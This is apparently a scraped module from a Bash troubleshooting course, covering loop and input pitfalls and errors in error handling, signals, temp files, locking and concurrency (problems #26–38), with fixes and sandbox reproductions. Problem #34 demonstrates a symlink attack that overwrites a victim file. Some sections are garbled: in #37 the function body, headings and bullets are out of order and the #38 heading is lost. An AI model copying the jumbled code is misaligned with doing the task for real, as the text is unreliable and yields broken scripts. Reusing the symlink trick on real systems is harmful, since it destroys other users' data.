ip=$(jq -er '.ip' resp.json) || { log::error "no .ip in response"; exit 1; }
ip=$(jq -r '.ip // empty' resp.json); : "${ip:?missing ip}"
resp=$(curl -fsS --retry 3 "$url")  # -f: HTTP ≥ 400 exits with code 22, so the error page is not treated as data
Prevention
  • Use jq -e or // empty + :? to validate type and existence of required fields; pass shell variables with --arg / --argjson , do not build the jq program by concatenation (#11).
  • Cloud CLI --query (JMESPath) outputs None (az -o tsv) or empty for a missing field; validate that too (Lesson 6 Module 2).
Minimal reproduction ~/bashlab/lab8/pb25-jq-null.sh
resp='{"name":"web1"}'
ip=$(jq -r '.ip' <<<"$resp"); echo "ip=[$ip]"  # ip=[null]
ip=$(jq -er '.ip' <<<"$resp") || echo "fixed: missing ip, rc=$?"

See Lesson 5 Module 6: jq and yq,Lesson 6 Module 1: Calling HTTP APIs.

Process structure of cmd | while read … and while read … < <(cmd) (#15) Pipe: both sides run in subshells parent shell (PID 100) c=0 …… after wait, echo c → 0 child 101: printfstdout → pipe child 102: while c+=xc=6 disappears when the process exits shopt -s lastpipe: the last segment stays in the parent shell (requires job control off) Process substitution: the loop runs in the current shell parent shell (PID 100) while c+=x … echo c → 6 child 101: printfstdout → /dev/fd/63 (pipe) Cost: the child's exit code does not reach $?; use wait $! when needed (4.4+)
Figure 2-1 Variables "disappearing" is not a scope problem but a process problem: a child process cannot modify the parent's memory
Three "invisible" bytes in one input file (#13, #14, #16) web1\r\n\r becomes part of the value → #13 web3 (EOF, no \n)read assigns but returns 1 → #14 fd 0 is sharedssh reads the remaining lines → #16 Safe reading template: while IFS= read -r -u 3 line || [[ -n $line ]]; do line=${line%$'\r'}; …; done 3< file-r keeps backslashes (#12) · IFS= keeps leading and trailing whitespace · || [[ -n ]] handles the last line · ${line%$'\r'} strips CR · -u 3 does not compete with the loop body for stdin
Figure 2-2 A reading template that fixes all five problems at once

Troubleshooting decision tree for “wrong loop / input / text-processing result”

Start from the first symptom you see and answer step by step; every conclusion links to the matching problem details.

Environment Any Bash 5.x (lastpipe some need a non-interactive script); source ~/bashlab/lab8/lab8.sh && l8_sandbox.

Lab 2-A: revealing and fixing CRLF (#13)

printf '#!/bin/bash\r\n\r\necho start\r\ncd /tmp\r\n' > crlf.sh && chmod +x crlf.sh
bash crlf.sh; l8_show crlf.sh | head -3
crlf.sh: line 2: $'\r': command not found
start
crlf.sh: line 4: cd: $'/tmp\r': No such file or directory
#!/bin/bash^M$
^M$
echo start^M$
sed -i 's/\r$//' crlf.sh && ./crlf.sh && file crlf.sh
start
crlf.sh: Bourne-Again shell script, ASCII text executable

Lab 2-B: last line and subshells (#14, #15)

printf 'web1\nweb2\nweb3' > hosts.txt
n=0; cat hosts.txt | while IFS= read -r h; do n=$((n+1)); done; echo "pipe+no-fix: n=$n"
n=0; while IFS= read -r h || [[ -n $h ]]; do n=$((n+1)); done < hosts.txt; echo "fixed: n=$n"
pipe+no-fix: n=0
fixed: n=3
Try it with a script lastpipe (in an interactive shell with job control enabled,lastpipe has no effect):
printf 'shopt -s lastpipe\nn=0\nprintf "a\\nb\\n" | while read -r _; do n=$((n+1)); done\necho "lastpipe: n=$n"\n' > lp.sh && bash lp.sh
lastpipe: n=2

Lab 2-C: swallowed stdin and grep + set -e (#16, #22)

printf 'h1\nh2\nh3\n' > hosts
while read -r h; do echo "A $h"; cat >/dev/null; done < hosts
while read -r -u 3 h; do echo "B $h"; cat >/dev/null </dev/null; done 3< hosts
A h1
B h1
B h2
B h3
printf 'set -e\nn=$(grep -c ERROR /dev/null)\necho "errors=$n"\n' > g.sh
bash g.sh; echo "rc=$?"
sed -i 's|/dev/null)|/dev/null \|\| true)|' g.sh && bash g.sh
rc=1
errors=0
Cleanup:
l8_clean

Instructional video (title and channel verified via YouTube oEmbed)

Proper `for` loops in Bash - `for` vs `while` loops - You Suck at Programming #038 — You Suck at Programming
English · correct use of for and while read (#14, #15)
3 Practical Examples of Using Bash While and Until Loops — Nick Janetakis
English · while / until loops
Finding files - the `find` Command and Shell Globbing - You Suck at Programming #058 — You Suck at Programming
English · find and globbing (#23)
'xargs' - execute command lines from standard input - Video Man Pages — DistroTube
English · xargs (#23)

No verified video was found that specifically covers CRLF $'\r' errors, loop stdin swallowing, and locale and decimal points. Storyboard:

Shot 1 (0:00) Save the script in Windows Notepad; running it on Linux shows $'\r': command not found; cat -A shows ^M$; .gitattributes fix.
Shot 2 (0:50) while read h; do ssh "$h" uptime; done < hosts Only one host ran; draw the shared fd 0 diagram; switch to ssh -n and read -u 3.
Shot 3 (1:40) The same script under LC_ALL=C and de_DE.UTF-8 gives different sort -n,printf %.2f output; at the top of the script export LC_ALL=C.

Official docs

or score ≥ 70% on the quiz

Module 3 · Part A: Error handling, signals and concurrency (problems 26–38)

16:00 – 24:00 · set -e exception rules of local masking exit codes, pipefail and SIGPIPE, arithmetic return values,cd failures, ERR trap inheritance, signals and PID 1, temp files, locks, background jobs, concurrent writes, timeouts
8 minutesExit code → trap → processes and locks13 problems
Learning goals
  • Be able to recite, from the Bash manual, set -e the exceptions: while/until conditions of if tests of &&/|| commands in a list other than the last, and commands in a pipeline other than the last (depending on pipefail), and commands prefixed with ! negated by ! ; and that “a function called in an ignored context has its whole body unaffected by -e ”.
  • Be able to tell exit codes apart: 1/2 general errors, 124 timeout timeout, 126 not executable, 127 command not found, 130 = 128+2 (SIGINT), 137 = 128+9 (SIGKILL / OOM), 141 = 128+13 (SIGPIPE), 143 = 128+15 (SIGTERM).
  • Write a skeleton that is “interruptible, re-entrant and concurrency-safe”: trap cleanup EXIT,mktemp -d,flock -n,wait "$pid" collects exit codes,timeout wraps external calls.

Enter keywords (e.g. set -e,local,pipefail,141,cd,ERR,137,flock,wait,timeout) to filter; click a row to jump to the details.

#26 set -e is on, yet after a failed cp the script keeps running and reports “deploy succeeded”
$ bash -c 'set -e; deploy(){ cp /nonexist /tmp/x; echo "deploy continued"; }; if deploy; then echo "deploy reported success"; fi'
cp: cannot stat '/nonexist': No such file or directory
deploy continued
deploy reported success
$ bash -c 'set -e; check(){ [[ -f /etc/app.conf ]] && echo found; }; check; echo "after check"'; echo "rc=$?"
rc=1  # conversely: the function's last command is an && list, so “not found” makes the script exit

Symptom:① a function called in if f,f || handle,f && next,! f called in; internal failures do not exit and carry on (old version removed, new one not installed); ② a function ending with [[ … ]] && cmd as its last command returns 1 when the condition is false, and the caller set -e exits silently.

Root cause (key points from the Bash manual set -e ):“The shell does not exit if the command that fails is part of the command list immediately following a while or until reserved word, part of the test in an if statement, part of any command executed in a && or || list except the command following the final && or ||, any command in a pipeline but the last (subject to the state of the pipefail shell option), or if the command's return status is being inverted with !.” and: “If a compound command or shell function executes in a context where -e is being ignored, none of the commands executed within the compound command or function body will be affected by the -e setting.” The second symptom is: && The list itself does not trigger an exit, but after it becomes the function's return value, the simple command that calls the function fails.

Diagnostic command
bash -x deploy.sh 2>&1 | grep -nE '^\++ (cp|deploy)'
grep -nE '^\s*(if|while|until) +[a-z_:]+|\|\| *[a-z_:]+|! +[a-z_:]+' deploy.sh  # functions called in a “protected” context
Fix
deploy() {
  cp -- "$src" "$dst" || return  # propagate failures explicitly inside the function; do not rely on set -e
  systemctl restart app || return
}
if ! deploy; then log::error "deploy failed"; rollback; exit 1; fi
check() { if [[ -f /etc/app.conf ]]; then echo found; fi; }  # use if instead of a trailing &&; returns 0
Prevention
  • set -e is a safety net, not error handling; key steps should be explicit || return / || die.
  • Do not end a function with cond && cmd or add at the end return 0.
  • Recommended: work through the Animation tab's set -e decision exercise (based on actual runs).
Minimal reproduction ~/bashlab/lab8/pb26-errexit-if.sh
#!/usr/bin/env bash
set -e
deploy(){ cp /nonexist /tmp/x; echo "deploy continued"; }
if deploy; then echo "deploy reported success"; fi
# fix: cp … || return; if ! deploy; then …

See Lesson 4 Module 1: The real semantics and traps of strict mode.

#27 local out=$(cmd) always “succeeds”: a failed command substitution is masked by local (SC2155)
$ bash -ec 'f(){ local v=$(false); echo "still here"; }; f'
still here
$ bash -c 'f(){ local out; out=$(false); echo "rc=$?"; }; f'
rc=1

Symptom: When fetching a token or looking up a resource ID, local token=$(get_token) fails without exiting; an empty token causes a string of 401s; export VAR=$(cmd),readonly X=$(cmd),declare -r are the same.

Root cause:local,export,declare,readonly are commands whose own exit code (a successful declaration = 0) masks that of the command substitution; only out=$(cmd) 's exit code equals cmd 's.

Diagnostic command
shellcheck lib/*.sh | grep SC2155  # Declare and assign separately to avoid masking return values.
Fix
get_token() {
  local token
  token=$(az account get-access-token --query accessToken -o tsv) || return
  printf '%s\n' "$token"
}
local -r region=eastus2  # a literal is fine; only command substitution needs splitting out
Prevention
  • Make SC2155 a must-pass in CI; shfmt not fixed, rely on review.
  • Similar: echo "$(cmd)",cmd2 "$(cmd1)" failures are masked by the outer command; from Bash 4.4+, shopt -s inherit_errexit only stops on an error inside the substitution, while the outer command still succeeds (verified: the output is an empty string and the script continues).
Minimal reproduction ~/bashlab/lab8/pb27-local-mask.sh
#!/usr/bin/env bash
set -e
f(){ local v=$(false); echo "masked: still here"; }; f
g(){ local v; v=$(false); echo "never printed"; }; g  # after the fix: exits here

See Lesson 3 Module 2: Scope and local,Lesson 4 Module 1.

#28 the backup job "succeeds" every day, but restore finds the .sql.gz is only 20 bytes (no pipefail)
$ bash -c 'set -e; (echo "dump: access denied" >&2; exit 2) | gzip > db.sql.gz; echo "backup ok size=$(wc -c < db.sql.gz)"'
dump: access denied
backup ok size=20
$ bash -c 'set -eo pipefail; (echo "dump: access denied" >&2; exit 2) | gzip > db.sql.gz; echo "backup ok"'; echo "rc=$?"
dump: access denied
rc=2

Symptom:mysqldump … | gzip > backup.sql.gz,pg_dump | aws s3 cp - s3://…,curl … | tar xz,kubectl get … | jq …: the front stage fails (expired password, network down, no permission), the back stage succeeds, the exit code is 0, and monitoring stays green until the day a restore is needed.

Root cause: The pipeline exit code by default takes the last segment's,set -e only looks at it; set -o pipefail takes the rightmost non-zero (0 only if all succeed); each segment's exit code is in PIPESTATUS.

Diagnostic command
mysqldump … | gzip > b.gz; echo "${PIPESTATUS[@]}"  # e.g. 2 0
gzip -t b.gz && zcat b.gz | head -3  # verify the backup contents
zcat b.gz | tail -1  # a normal mysqldump ends with a "-- Dump completed" line
Fix
set -Eeuo pipefail
tmp=$(mktemp "${dest}.XXXX")
mysqldump --single-transaction "$db" | gzip > "$tmp"
gzip -t "$tmp" && [[ $(stat -c %s "$tmp") -gt 1024 ]]  # check size and integrity (GNU stat)
mv -- "$tmp" "$dest"  # atomically replace only after the checks pass
Prevention
  • Start the script with set -euo pipefail; in GitHub Actions, write shell: bash is bash --noprofile --norc -eo pipefail {0}, not writing shell is bash -e {0}, no pipefail (GitHub Docs, #45).
  • Backups must be restore-tested: restore to a temporary instance periodically and run validation queries, not just check that the file exists.
  • pipefail also has side effects: see #29.
Minimal reproduction ~/bashlab/lab8/pb28-pipefail.sh
cd ~/bashlab/lab8/sandbox || exit 1
set -e
(echo "dump: access denied" >&2; exit 2) | gzip > db.sql.gz
echo "backup ok (bug), PIPESTATUS lost; size=$(wc -c < db.sql.gz)"
# fix: change the second line to set -eo pipefail

See Lesson 1 Module 6: Pipes and exit status,Lesson 6 Module 5: Backup and rotation.

#29 with pipefail on, … | head -1 occasionally fails with exit code 141 (SIGPIPE)
$ bash -c 'set -o pipefail; seq 1 100000 | head -1; echo "rc=$? ps=${PIPESTATUS[*]}"'
1
rc=141 ps=141 0
$ bash -c 'set -o pipefail; seq 1 100000 | grep -q 1; echo "rc=$? ps=${PIPESTATUS[*]}"'
rc=141 ps=141 0

Symptom: Adding set -euo pipefail after latest=$(ls -t | head -1),kubectl get pods | grep -q Running,yes | head sometimes exits (only appears with large input), and the log only shows 141.

Root cause:head,grep -q reads enough and exits, so the upstream's next write is killed by SIGPIPE (128+13=141). Without pipefail this is ignored (the "terminate early" design of pipes); with it, the pipeline fails. If the upstream finishes writing first, it does not trigger, which is why it is intermittent.

Diagnostic command
cmd | head -1; echo "${PIPESTATUS[@]}"  # 141 0
kill -l 141  # PIPE
Fix
first=$(seq 1 100000 | sed -n '1p;1q')  # may still SIGPIPE; safer: have the upstream produce no extra output
first=$(awk 'NR==1{print; exit}' < big.txt)  # read the file directly, no pipe
if kubectl get pods -o name | grep -q web; then …; fi  # in an if condition set -e does not trigger, but $? is still 141
{ cmd | head -1; } || [[ $? -eq 141 ]]  # explicitly tolerate only SIGPIPE
Prevention
  • Keep pipefail, and handle readers that stop early separately (head,grep -q,grep -m,read one line), or filter upstream (kubectl … --field-selector,jq first,find -quit).
  • In CI logs, when you see 141 / 143 / 137, convert the signal first: kill -l $((rc-128)).
Minimal reproduction ~/bashlab/lab8/pb29-sigpipe.sh
#!/usr/bin/env bash
set -o pipefail
seq 1 100000 | head -1; echo "rc=$? ps=${PIPESTATUS[*]}"  # rc=141
seq 1 3 | head -1;      echo "rc=$?"  # small input: usually rc=0 (timing dependent)

See Lesson 4 Module 1: Strict mode.

#30 ((i++)) silently exits a set -e script on the first loop iteration (arithmetic result 0 returns 1)
$ bash -ec 'i=0; ((i++)); echo "not reached"'; echo "rc=$?"
rc=1
$ bash -ec 'i=0; let i++; echo never'; echo "rc=$?"
rc=1
$ bash -c 'set -e; i=0; ((i+=1)); echo "i=$i"; i=$((i+1)); echo "i=$i"'
i=1
i=2

Symptom:((errors++)),((count++)) under set -e the first iteration exits silently; with i=1, ((i++)) it works — the error only happens when counting from 0.

Root cause:(( expr )),let: a non-zero value returns 0 and zero returns 1. Postfix i++ takes the pre-increment value 0, returns 1, and triggers set -e; ((i+=1)) value 1 returns 0; i=$((i+1)) always returns 0.

Diagnostic command
i=0; ((i++)); echo $?  # 1
i=0; ((++i)); echo $?  # 0
Fix
i=$((i + 1))  # recommended: an assignment statement, always returns 0
((i += 1))  # or pre-increment / compound assignment (still broken if i starts at -1)
((i++)) || true  # not recommended: poor readability
Prevention
  • For counting, use i=$((i+1)),(( )) only for conditions.
  • Similar cases: expr 0, and ending with [[ … ]] && … a function (#26),grep grep with no match (#22).
Minimal reproduction ~/bashlab/lab8/pb30-arith-e.sh
#!/usr/bin/env bash
set -e
errors=0
((errors++))  # exits here, rc=1
echo "errors=$errors"  # fix: errors=$((errors+1))

See Lesson 2 Module 2: Arithmetic and integer pitfalls.

#31 cd: /srv/app/build: No such file or directory — then rm -rf * deleted the current directory (cd failure not handled)
$ cat c.sh
cd /nonexist_build
echo "would rm in $PWD"
$ bash c.sh; echo "rc=$?"
c.sh: line 1: cd: /nonexist_build: No such file or directory
would rm in /tmp/w6
rc=0

Symptom:cd "$BUILD_DIR"; rm -rf *: the directory does not exist (typo, failed mount, first run, deleted), so the command runs in the current directory (under cron it is usually $HOME, and in containers it may be /) and runs rm -rf *, with the exit code still 0.

Root cause: Without set -e set -e, a failed cd only reports an error and carries on; with set -e set -e but inside a function called from if/|| (#26), it does not exit either.

Diagnostic command
shellcheck clean.sh  # SC2164: Use 'cd ... || exit' or 'cd ... || return' in case cd fails.
Fix
cd -- "${BUILD_DIR:?}" || exit 1
rm -rf -- ./*  # the ./ prefix stops names like -rf from being taken as options (#50)
rm -rf -- "${BUILD_DIR:?}"/*  # better: do not cd at all; use absolute paths
( cd -- "$dir" || exit 1; tar czf "$out" . )  # use a subshell when you must run in a directory, so later commands are unaffected
Prevention
  • cd Always write it as cd … || exit (inside functions || return); make ShellCheck SC2164 a must-pass.
  • For deletion, use absolute paths with ${var:?} (#2), and do not depend on the current directory.
Minimal reproduction ~/bashlab/lab8/pb31-cd-fail.sh
cd ~/bashlab/lab8/sandbox || exit 1
touch precious.txt
cd ./build-not-there
echo rm -rf ./*  # preview only: would delete precious.txt in the sandbox
# fix: cd ./build-not-there || exit 1

See Lesson 4 Module 1,Lesson 7 Module 2: ShellCheck.

#32 trap … ERR only works at the top level; failures inside functions produce no error log (missing set -E)
$ bash -c 'set -e; trap "echo ERR at \$LINENO" ERR; f(){ false; }; f'; echo "rc=$?"
rc=1  # no ERR output at all
$ bash -c 'set -eE -o pipefail; trap '\''echo "ERR: line $LINENO: $BASH_COMMAND (rc=$?)" >&2'\'' ERR; f(){ cp /nonexist /tmp/x; }; f'
cp: cannot stat '/nonexist': No such file or directory
ERR: line 1: cp /nonexist /tmp/x (rc=1)

Symptom:trap 'log::error "failed at line $LINENO"' ERR Never seen in CI logs; a failure gives only an exit code, with no idea which line.

Root cause: The ERR trap is not inherited by functions, command substitutions or subshells by default; it needs set -E (errtrace); the DEBUG/RETURN traps need set -T. The ERR trap's exceptions are the same as those of set -e (if if conditions etc. do not trigger it).

Diagnostic command
set -o | grep -E 'errtrace|errexit|pipefail'
trap -p ERR
Fix
set -Eeuo pipefail
on_err() {
  local rc=$? cmd=$BASH_COMMAND
  printf 'ERROR rc=%s at %s:%s in %s(): %s\n' "$rc" "${BASH_SOURCE[1]}" "${BASH_LINENO[0]}" "${FUNCNAME[1]:-main}" "$cmd" >&2
}
trap on_err ERR
Prevention
  • opsctl standard header: set -Eeuo pipefail + trap on_err ERR + trap cleanup EXIT (Lesson 4 Module 2).
  • In the ERR trap, save $? first, otherwise commands inside the trap overwrite it (#18).
Minimal reproduction ~/bashlab/lab8/pb32-errtrace.sh
#!/usr/bin/env bash
set -e  # change to set -eE to see ERR output
trap 'echo "ERR at line $LINENO: $BASH_COMMAND" >&2' ERR
f(){ false; }
f

See Lesson 4 Module 2: trap.

#33 container exits with 137 after docker stop, leaving temp files and child processes behind (signals and cleanup)
$ docker run -d --name b8pid1 bash:5.3 bash -c 'sleep 300; echo done'
$ docker stop b8pid1; docker inspect -f 'exit={{.State.ExitCode}}' b8pid1
exit=137  # bash as PID 1 did not handle SIGTERM; after the grace period it was killed with SIGKILL (OOMKilled=false)
$ docker run -d --name b8pid2 bash:5.3 bash -c 'trap "echo got TERM; exit 143" TERM; sleep 300 & wait $!'
$ docker stop b8pid2; docker inspect -f 'exit={{.State.ExitCode}}' b8pid2; docker logs b8pid2
exit=143
got TERM
$ bash -c 'sleep 30 & echo "child=$!"; kill -TERM $$'; pgrep -fa 'sleep 30'
child=22413
Terminated
22413 sleep 30  # the parent script died, but the background child is still running

Symptom:① the container's Bash entrypoint does not respond to docker stop / Kubernetes rolling updates; after the grace period (Docker 10 seconds, Kubernetes 30 seconds) it is force-killed (137) and files being written are corrupted; ② after Ctrl-C or SIGTERM, /tmp leaves temp and lock files behind, and background sleep/tail -f/ child tasks become orphans.

Root cause: The kernel does not deliver default-action signals to PID 1 (unless a handler is installed), so the bash running as PID 1 ignores SIGTERM; while a foreground command runs, bash waits for it to finish before running the trap for a signal it received (hence use cmd & wait $!); the script exiting does not kill background child processes; SIGKILL (9) cannot be caught.

Diagnostic command
docker inspect -f '{{.State.ExitCode}} {{.State.OOMKilled}}' NAME  # 137 + OOMKilled=false → force-killed after the stop timeout
ps -o pid,ppid,pgid,cmd -g "$(ps -o pgid= $$)"  # list child processes in the same process group
kill -l 143; kill -l 137  # TERM / KILL
Fix
cleanup() { local rc=$?; kill $(jobs -p) 2>/dev/null; rm -rf -- "$tmpdir"; exit "$rc"; }
trap cleanup EXIT
trap 'exit 143' TERM; trap 'exit 130' INT  # let signals take the normal EXIT path
tmpdir=$(mktemp -d)
long_task & wait $!  # foreground wait, interruptible by signals
exec "$@"  # container entrypoint: after setup, exec the main process so it becomes PID 1
Prevention
  • The last line of the entrypoint script exec, or docker run --init / tini as PID 1; in Kubernetes, configure preStop and a reasonable terminationGracePeriodSeconds.
  • Register trap cleanup EXIT before creating temp resources; cleanup must be idempotent.
Minimal reproduction ~/bashlab/lab8/pb33-signals.sh
#!/usr/bin/env bash
tmp=$(mktemp -d); echo "tmp=$tmp"
trap 'echo "cleanup $tmp"; rm -rf -- "$tmp"; kill $(jobs -p) 2>/dev/null' EXIT  # comment out this line to compare
sleep 300 & wait $!  # in another terminal: kill -TERM <script PID>, then check whether $tmp and sleep remain

See Lesson 4 Module 2 trap: EXIT, ERR, INT and cleanup,Docker 8 hours (PID 1 and signals).

#34 /tmp/report.txt overwritten by another job / a write through a symlink overwrites another file (predictable temp file name)
$ ln -sf /tmp/victim.txt /tmp/report.txt; echo "secret data" > /tmp/victim.txt
$ echo "report" > /tmp/report.txt; cat /tmp/victim.txt
report  # the write followed a symlink and overwrote the target file
$ set -o noclobber; echo a > r.txt; echo b > r.txt
bash: line 1: r.txt: cannot overwrite existing file

Symptom:① concurrent jobs (overlapping cron #35, parallel CI jobs, multiple users) write the same /tmp/report.txt or /tmp/app.$$ (PIDs get reused), overwriting each other and reading half-written content; ② an attacker pre-creates a symlink with the same name pointing to /etc/… or a victim's file, and the root script writes through it (classic symlink attack). fs.protected_symlinks=1 This only restricts following other users' links in world-writable sticky directories; it does not protect against the same user or non-sticky directories.

Root cause:"check that it does not exist → create" is not atomic; > follows the symlink and truncates the original file. mktemp Using O_CREAT|O_EXCL, 0600 to create files with random names avoids both.

Diagnostic command
grep -nE '/tmp/[A-Za-z_.-]+(\$\$)?' *.sh  # find hardcoded temp file names
sysctl fs.protected_symlinks fs.protected_regular
Fix
tmpdir=$(mktemp -d "${TMPDIR:-/tmp}/opsctl.XXXXXX")  # private directory with mode 0700
trap 'rm -rf -- "$tmpdir"' EXIT
out="$tmpdir/report.txt"
generate > "$out" && mv -- "$out" /var/lib/opsctl/report.txt  # rename within the same filesystem is atomic
$ d=$(mktemp -d); ls -ld "$d" | cut -c1-10
drwx------
Prevention
  • Never hardcode /tmp/fixed-name; give each script one mktemp -d for intermediate files, and delete the whole thing on EXIT.
  • For systemd services, use PrivateTmp=yes; keep cross-run state in /var/lib/<app> (StateDirectory=), not /tmp.
  • Write the temp file first, then mv atomically, so readers never see a half-written file.
Minimal reproduction ~/bashlab/lab8/pb34-tmpfile.sh
cd ~/bashlab/lab8/sandbox || exit 1
echo "secret" > victim.txt; ln -sf victim.txt report.txt
echo "report" > report.txt; cat victim.txt  # victim has been overwritten
t=$(mktemp ./report.XXXXXX) && echo "report" > "$t" && ls -l "$t"

See Lesson 4 Module 3: Temp files and directories.

#35 a cron sync task that runs every 5 minutes takes 7 minutes, and two instances running at once corrupt data (overlapping jobs)
$ ( flock -n 9 || exit 1; sleep 2 ) 9>job.lock &
$ ( flock -n 9 || { echo "another run holds the lock, skip"; exit 0; }; echo "got lock" ) 9>job.lock
another run holds the lock, skip
$ flock -n job.lock true; echo "flock -n rc=$?"
flock -n rc=1

Symptom: When run time exceeds the cron interval, a new instance starts before the previous one finishes, and both rsync/ write the same output / call the same API: duplicate processing, corrupt files, API rate limiting, even an avalanche (the slower it gets, the more pile up).

Root cause: cron only starts jobs on schedule and does not care whether the previous run has ended. [ -f /tmp/job.pid ] A homemade lock has a race (check and create are not atomic); after SIGKILL the lock file remains and the job never runs again. flock(2) The lock belongs to the kernel: it is released when the fd closes (including when the process is killed).

Diagnostic command
pgrep -fa sync.sh  # how many instances are running at once
grep CRON /var/log/syslog | tail; journalctl -u cron --since -1h  # start times and frequency (varies by distro; follow the actual output)
lslocks | grep job.lock  # who holds the lock (util-linux)
Fix
exec 9>"/run/lock/opsctl-sync.lock"  # or /var/lock, $XDG_RUNTIME_DIR
flock -n 9 || { log::warn "previous run still active, skip"; exit 0; }
# wrap it directly in the crontab:
0 * * * * flock -n /run/lock/opsctl-backup.lock /opt/opsctl/bin/opsctl backup /srv/data >>/var/log/opsctl/backup.log 2>&1
Prevention
  • Make periodic jobs default to flock -n; when skipping, log and record a metric, and alert on anomalies.
  • or use a systemd timer: .service is not started again while it is running; you can set RuntimeMaxSec= (Lesson 6 Module 6).
  • For mutual exclusion across machines, use a distributed lock (cloud storage lease, database row lock, Kubernetes Lease); flock this only works on a single machine; on NFS, follow the actual behavior.
Minimal reproduction ~/bashlab/lab8/pb35-overlap.sh
#!/usr/bin/env bash
exec 9>/tmp/pb35.lock
flock -n 9 || { echo "$$: skip, another run active"; exit 0; }
echo "$$: running"; sleep 5
# run in two terminals at nearly the same time: the second prints skip

See Lesson 4 Module 4: Concurrency and locks,Lesson 6 Module 6: cron and systemd timers.

#36 deploying to 10 hosts in parallel, 3 fail, yet the script exits with 0 (wait with no arguments always returns 0)
$ (exit 3) & wait; echo "wait-all rc=$?"
wait-all rc=0
$ (exit 3) & p=$!; wait $p; echo "wait pid rc=$?"
wait pid rc=3
$ sleep 0.2 & (exit 4) & wait -n; echo "first rc=$?"
first rc=4

Symptom:for h in "${hosts[@]}"; do deploy "$h" & done; wait Some hosts fail yet it reports “all succeeded”,set -e either.

Root cause: A background job's exit code can only be obtained via wait PID ; with no arguments, wait waits for all child processes and returns 0 (Bash manual: returns 0 when no ID is specified). & itself always exits with 0, so set -e is ineffective.

Diagnostic command
jobs -l  # currently running background jobs
bash -x deploy-all.sh 2>&1 | grep -E '^\+ (wait|deploy)'
Fix
declare -A pids=()
for h in "${hosts[@]}"; do deploy "$h" >"$logdir/$h.log" 2>&1 & pids[$h]=$!; done
failed=()
for h in "${!pids[@]}"; do wait "${pids[$h]}" || failed+=("$h"); done
(( ${#failed[@]} == 0 )) || { log::error "failed: ${failed[*]}"; exit 1; }
Prevention
  • Limit concurrency: xargs -P, GNU parallel --halt soon,fail=1, or a token pool in Bash 4.3+ wait -n (Lesson 6 Module 3).
  • Give each background job its own log, and print its tail on failure.
Minimal reproduction ~/bashlab/lab8/pb36-wait.sh
for rc in 0 3 0 5; do (sleep 0.1; exit $rc) & done
wait; echo "wait-all rc=$?"  # 0 (bug)
pids=(); for rc in 0 3 0 5; do (sleep 0.1; exit $rc) & pids+=($!); done
f=0; for p in "${pids[@]}"; do wait "$p" || f=$((f+1)); done; echo "failed=$f"  # failed=2

See Lesson 6 Module 3: Batch operations: parallel execution.

#37 200 concurrent tasks each add 1 to a counter file, and the result is 3 (read-modify-write race)
$ echo 0 > cnt; for i in $(seq 1 200); do ( n=$(cat cnt); echo $((n+1)) > cnt ) & done; wait; echo "cnt=$(cat cnt)"
cnt=3
$ for i in 1 2 3 4; do ( for j in $(seq 1 2000); do printf 'worker%s line %s\n' "$i" "$j" >> out.log; done ) & done; wait; wc -l < out.log
8000  # small appends (O_APPEND) did not lose anything

Symptom: Counters, state files and JSON manifests shared by parallel tasks lose updates or end up incomplete; > shared logs written by multiple processes overwrite each other; tee,sed -i and

modifying the same file concurrently corrupts it. Root cause: > “read → compute → write back” is not atomic, so the later write overwrites the earlier one (lost update); >> truncates first. O_APPEND Opening with write opens the file, and each PIPE_BUF appends to the end; a single small write on a local filesystem does not interleave, but splitting a line into several writes, or writing to a pipe beyond

, NFS is not guaranteed.
Diagnostic command
lsof cnt 2>/dev/null; fuser -v cnt  # who else has the file open
strace -f -e trace=openat,write -p PID # see how writes happen (O_TRUNC or O_APPEND)
Fix
  exec {fd}>>cnt.lock; flock "$fd"
  n=$(cat cnt); echo $((n+1)) > cnt
  exec {fd}>&-
}
incr() {  # protect the critical section with flock
task "$h" > "$outdir/$h.result"; …; cat "$outdir"/*.result | awk '{s+=$1} END{print s}'
# better: each task writes its own result file, then summarize
  • Prevention
  • Do not share mutable state: have each unit write its own output and summarize in one place; if sharing is unavoidable, add a lock. > Write logs to stderr and let journald / the container runtime collect them, or use one file per process; do not let multiple processes write
the same file. ~/bashlab/lab8/pb37-race.sh
cd ~/bashlab/lab8/sandbox || exit 1
echo 0 > cnt
for i in $(seq 1 200); do ( n=$(cat cnt); echo $((n+1)) > cnt ) & done; wait
Minimal reproduction

echo "without lock: $(cat cnt)" # far below 200; with flock it is 200 SeeLesson 4 Module 4: Concurrency and locks

.
$ f(){ sleep 1; }; timeout 1 f; echo "rc=$?"
timeout: failed to run command ‘f’: No such file or directory
rc=127
$ timeout 2 bash -c 'sleep 10'; echo "rc=$?"
rc=124
$ timeout -k 1 1 bash -c 'trap "" TERM; sleep 10'; echo "rc=$?"
… Killed                  timeout -k 1 1 bash -c 'trap "" TERM; sleep 10'
rc=137

Verified (GNU coreutils 9.4 · Bash 5.2.21) Symptom: curl① a pipeline hangs waiting on ssh,kubectl rollout status,az … --no-wait , and the CI job is killed after 6 hours; ② calling a function with timeout reports “failed to run command”, exit code 127; ③ a command ignores timeout SIGTERM and does not exit.

Root cause: Many clients have no overall timeout by default (curl only has a default limit for the connect phase). timeout is an external program, invoked via execvp runs it, so functions and aliases are not visible; timeout sends SIGTERM by default and returns 124 on timeout; -k after the grace period it sends SIGKILL (137).

Diagnostic command
ps -o pid,etime,cmd --ppid $$  # which child process has been running for how long
strace -p PID -e trace=network,poll  # which step it is stuck at: connect / poll / read
Fix
curl -fsS --connect-timeout 5 --max-time 30 --retry 3 --retry-max-time 60 "$url"
ssh -o ConnectTimeout=5 -o ServerAliveInterval=10 -o BatchMode=yes "$h" uptime
timeout -k 10 300 kubectl rollout status deploy/web
export -f deploy_one; timeout 120 bash -c 'deploy_one "$1"' _ "$h"  # the function must be exported with export -f before running it in a child bash
Prevention
  • Set a timeout on every network call; then set an overall timeout at the scheduler (CI timeout-minutes, systemd RuntimeMaxSec=).
  • Classify by exit code: 124 timeout (retryable), 137 force-killed, anything else is a business failure; retries should use backoff and a cap (Lesson 4 Module 6).
Minimal reproduction ~/bashlab/lab8/pb38-timeout.sh
f(){ sleep 3; }
timeout 1 f; echo "func rc=$?"  # 127
export -f f; timeout 1 bash -c f; echo "export -f rc=$?"  # 124

See Lesson 4 Module 6: Retries, backoff and timeouts,Lesson 6 Module 1: curl.

